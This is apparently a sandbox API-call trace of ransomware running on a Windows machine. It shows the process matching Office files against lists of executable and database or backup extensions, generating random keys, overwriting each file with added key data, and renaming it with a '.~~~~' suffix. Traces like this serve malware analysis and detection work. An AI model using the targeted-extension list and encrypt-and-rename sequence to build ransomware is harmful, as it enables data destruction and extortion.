	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".MDF") returned 0x0
	[0141.589] lstrlenW (lpString=".bdb") returned 4
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".bdb") returned 0x0
	[0141.589] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.589] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0141.590] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.590] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395498) returned 1
	[0141.591] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.591] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.591] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26158143325) returned 1
	[0141.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbdcc1a70, dwHighDateTime=0x1d60e1e)) 
	[0141.591] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3878
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3878 | out: hHeap=0x300000) returned 1
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aeea8
	[0141.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.592] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aeea8 | out: hHeap=0x300000) returned 1
	[0141.592] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.592] GetLastError () returned 0x0
	[0141.593] GetLastError () returned 0x0
	[0141.593] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.593] GetLastError () returned 0x0
	[0141.593] GetLastError () returned 0x0
	[0141.593] ReadFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x24dfec0*=0xd2c, lpOverlapped=0x0) returned 1
	[0141.596] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffff2d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.596] WriteFile (in: hFile=0xc4, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xd2c, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x24dfec0*=0xd2c, lpOverlapped=0x0) returned 1
	[0141.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0141.597] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.597] WriteFile (in: hFile=0xc4, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.597] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.597] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.597] CloseHandle (hObject=0xc4) returned 1
	[0141.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aeea8
	[0141.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43B.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43b.gif.~~~~")) returned 1
	[0141.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aeea8 | out: hHeap=0x300000) returned 1
	[0141.600] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0141.600] GetLastError () returned 0x0
	[0141.600] RtlWakeConditionVariable () returned 0x0
	[0141.600] GetCurrentThreadId () returned 0x3a4
	[0141.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".scr") returned 0x0
	[0141.600] lstrlenW (lpString=".cmd") returned 4
	[0141.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".cmd") returned 0x0
	[0141.601] lstrlenW (lpString=".dll") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dll") returned 0x0
	[0141.601] lstrlenW (lpString=".bat") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".bat") returned 0x0
	[0141.601] lstrlenW (lpString=".cpl") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".cpl") returned 0x0
	[0141.601] lstrlenW (lpString=".sys") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".sys") returned 0x0
	[0141.601] lstrlenW (lpString=".msc") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".msc") returned 0x0
	[0141.601] lstrlenW (lpString=".com") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".com") returned 0x0
	[0141.601] lstrlenW (lpString=".lnk") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".lnk") returned 0x0
	[0141.601] lstrlenW (lpString=".msp") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".msp") returned 0x0
	[0141.601] lstrlenW (lpString=".pif") returned 4
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".pif") returned 0x0
	[0141.601] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir46f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.608] lstrlenW (lpString=".sqb") returned 4
	[0141.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".sqb") returned 0x0
	[0141.608] lstrlenW (lpString=".ost") returned 4
	[0141.608] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".ost") returned 0x0
	[0141.609] lstrlenW (lpString=".txt") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".txt") returned 0x0
	[0141.609] lstrlenW (lpString=".mdt") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".mdt") returned 0x0
	[0141.609] lstrlenW (lpString=".BDB") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".BDB") returned 0x0
	[0141.609] lstrlenW (lpString=".eql") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".eql") returned 0x0
	[0141.609] lstrlenW (lpString=".DBF") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DBF") returned 0x0
	[0141.609] lstrlenW (lpString=".EQL") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".EQL") returned 0x0
	[0141.609] lstrlenW (lpString=".FDB") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".FDB") returned 0x0
	[0141.609] lstrlenW (lpString=".EDB") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".EDB") returned 0x0
	[0141.609] lstrlenW (lpString=".DACPAC") returned 7
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.609] lstrlenW (lpString=".VHD") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".VHD") returned 0x0
	[0141.609] lstrlenW (lpString=".DBV") returned 4
	[0141.609] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DBV") returned 0x0
	[0141.609] lstrlenW (lpString=".dacpac") returned 7
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.610] lstrlenW (lpString=".sdf") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".sdf") returned 0x0
	[0141.610] lstrlenW (lpString=".accdb") returned 6
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".accdb") returned 0x0
	[0141.610] lstrlenW (lpString=".DBX") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DBX") returned 0x0
	[0141.610] lstrlenW (lpString=".MDT") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".MDT") returned 0x0
	[0141.610] lstrlenW (lpString=".SQB") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".SQB") returned 0x0
	[0141.610] lstrlenW (lpString=".vhd") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".vhd") returned 0x0
	[0141.610] lstrlenW (lpString=".bac") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".bac") returned 0x0
	[0141.610] lstrlenW (lpString=".mdf") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".mdf") returned 0x0
	[0141.610] lstrlenW (lpString=".BAK") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".BAK") returned 0x0
	[0141.610] lstrlenW (lpString=".BAC") returned 4
	[0141.610] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".BAC") returned 0x0
	[0141.611] lstrlenW (lpString=".dbs") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dbs") returned 0x0
	[0141.611] lstrlenW (lpString=".vhdx") returned 5
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.611] lstrlenW (lpString=".NDF") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".NDF") returned 0x0
	[0141.611] lstrlenW (lpString=".dat") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dat") returned 0x0
	[0141.611] lstrlenW (lpString=".DBS") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DBS") returned 0x0
	[0141.611] lstrlenW (lpString=".CKP") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".CKP") returned 0x0
	[0141.611] lstrlenW (lpString=".edb") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".edb") returned 0x0
	[0141.611] lstrlenW (lpString=".PST") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".PST") returned 0x0
	[0141.611] lstrlenW (lpString=".dbf") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dbf") returned 0x0
	[0141.611] lstrlenW (lpString=".SQL") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".SQL") returned 0x0
	[0141.611] lstrlenW (lpString=".pst") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".pst") returned 0x0
	[0141.611] lstrlenW (lpString=".dbv") returned 4
	[0141.611] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dbv") returned 0x0
	[0141.612] lstrlenW (lpString=".SDF") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".SDF") returned 0x0
	[0141.612] lstrlenW (lpString=".dtxs") returned 5
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.612] lstrlenW (lpString=".db3") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".db3") returned 0x0
	[0141.612] lstrlenW (lpString=".OST") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".OST") returned 0x0
	[0141.612] lstrlenW (lpString=".dbx") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dbx") returned 0x0
	[0141.612] lstrlenW (lpString=".DB3") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DB3") returned 0x0
	[0141.612] lstrlenW (lpString=".DAT") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DAT") returned 0x0
	[0141.612] lstrlenW (lpString=".VHDX") returned 5
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.612] lstrlenW (lpString=".ndf") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".ndf") returned 0x0
	[0141.612] lstrlenW (lpString=".DB") returned 3
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DB") returned 0x0
	[0141.612] lstrlenW (lpString=".sql") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".sql") returned 0x0
	[0141.612] lstrlenW (lpString=".MYD") returned 4
	[0141.612] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".MYD") returned 0x0
	[0141.612] lstrlenW (lpString=".DBT") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DBT") returned 0x0
	[0141.613] lstrlenW (lpString=".ACCDB") returned 6
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.613] lstrlenW (lpString=".fdb") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".fdb") returned 0x0
	[0141.613] lstrlenW (lpString=".bak") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".bak") returned 0x0
	[0141.613] lstrlenW (lpString=".myd") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".myd") returned 0x0
	[0141.613] lstrlenW (lpString=".DTXS") returned 5
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.613] lstrlenW (lpString=".ckp") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".ckp") returned 0x0
	[0141.613] lstrlenW (lpString=".dbt") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".dbt") returned 0x0
	[0141.613] lstrlenW (lpString=".db") returned 3
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".db") returned 0x0
	[0141.613] lstrlenW (lpString=".TXT") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".TXT") returned 0x0
	[0141.613] lstrlenW (lpString=".MDF") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".MDF") returned 0x0
	[0141.613] lstrlenW (lpString=".bdb") returned 4
	[0141.613] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".bdb") returned 0x0
	[0141.614] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.614] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR46F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0141.614] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.614] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395498) returned 1
	[0141.615] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.615] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.615] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0141.615] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0141.615] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26160548838) returned 1
	[0141.615] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbdd0dd30, dwHighDateTime=0x1d60e1e)) 
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a35a0
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a35a0 | out: hHeap=0x300000) returned 1
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae968
	[0141.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae968 | out: hHeap=0x300000) returned 1
	[0141.616] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0141.616] GetLastError () returned 0x0
	[0141.617] GetLastError () returned 0x0
	[0141.617] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0141.617] GetLastError () returned 0x0
	[0141.617] GetLastError () returned 0x0
	[0141.617] ReadFile (in: hFile=0xc4, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x24dfec0*=0x1377, lpOverlapped=0x0) returned 1
	[0141.619] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffec89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
